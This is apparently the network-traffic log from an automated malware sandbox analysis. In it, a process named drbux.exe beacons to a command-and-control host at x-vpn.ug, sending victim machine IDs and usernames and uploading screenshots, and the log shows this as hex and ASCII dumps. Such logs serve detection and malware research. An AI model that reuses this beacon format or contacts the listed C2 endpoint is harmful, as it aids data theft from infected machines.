Jul 19, 2021 18:36:22.264573097 CEST	15532	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:22.264722109 CEST	15535	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:22.344746113 CEST	15538	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:22.344943047 CEST	15541	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:22.345141888 CEST	15543	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:22.345469952 CEST	15546	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:22.345990896 CEST	15549	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:22.346431971 CEST	15551	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:22.346611977 CEST	15554	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:22.656541109 CEST	15620	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.6	49933	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:22.551333904 CEST	15598	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:22.634504080 CEST	15620	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.6	49755	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:30.601326942 CEST	2866	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:30.601531029 CEST	2866	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:30.601787090 CEST	2876	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:30.602034092 CEST	2879	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:30.680458069 CEST	2882	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:30.680716991 CEST	2884	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:30.681020021 CEST	2887	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:30.681159973 CEST	2893	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:30.681263924 CEST	2895	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:30.681438923 CEST	2898	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:30.681617975 CEST	2899	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:35:30.950937033 CEST	2964	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.2.6	49934	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:22.838464975 CEST	15621	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:22.923917055 CEST	15622	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:23.327888966 CEST	15622	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:23.328377008 CEST	15622	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:23.328409910 CEST	15632	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:23.328571081 CEST	15635	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:23.411348104 CEST	15636	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:23 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:23.412867069 CEST	15638	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:23.413729906 CEST	15646	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:23.414549112 CEST	15649	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:23.414648056 CEST	15652	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:23.414855957 CEST	15655	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:23.416043043 CEST	15663	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:23.498394012 CEST	15668	OUT	Data Raw: 80 15 7b c7 da bd bd ce a9 6f e1 ad 33 e4 d2 74 74 58 c2 03 c3 be 38 27 d7 8e 73 ea 4f a5 66 da c3 a7 5c e9 17 56 f7 88 c2 42 e8 d1 c8 8d b5 90 00 c0 e0 fe 23 8a e5 85 e7 2e 77 f2 3a 9d a1 1e 54 4b ac 99 bc 50 d0 7f 68 cf 21 48 73 b1 23 c2 ae 4f Data Ascii: {o3ttX8'sOf\VB#.w:TKPh!Hs#Or9xEy iHmyup[]6g /v&]FdhFibOlpN,DgG M>rzvjkI\|W3lQrT:\wZ``(UJN<r(

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.6	49935	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:23.458228111 CEST	15663	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:23.542299032 CEST	15716	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:23 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.2.6	49936	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:23.742993116 CEST	15722	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:23.836278915 CEST	15735	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

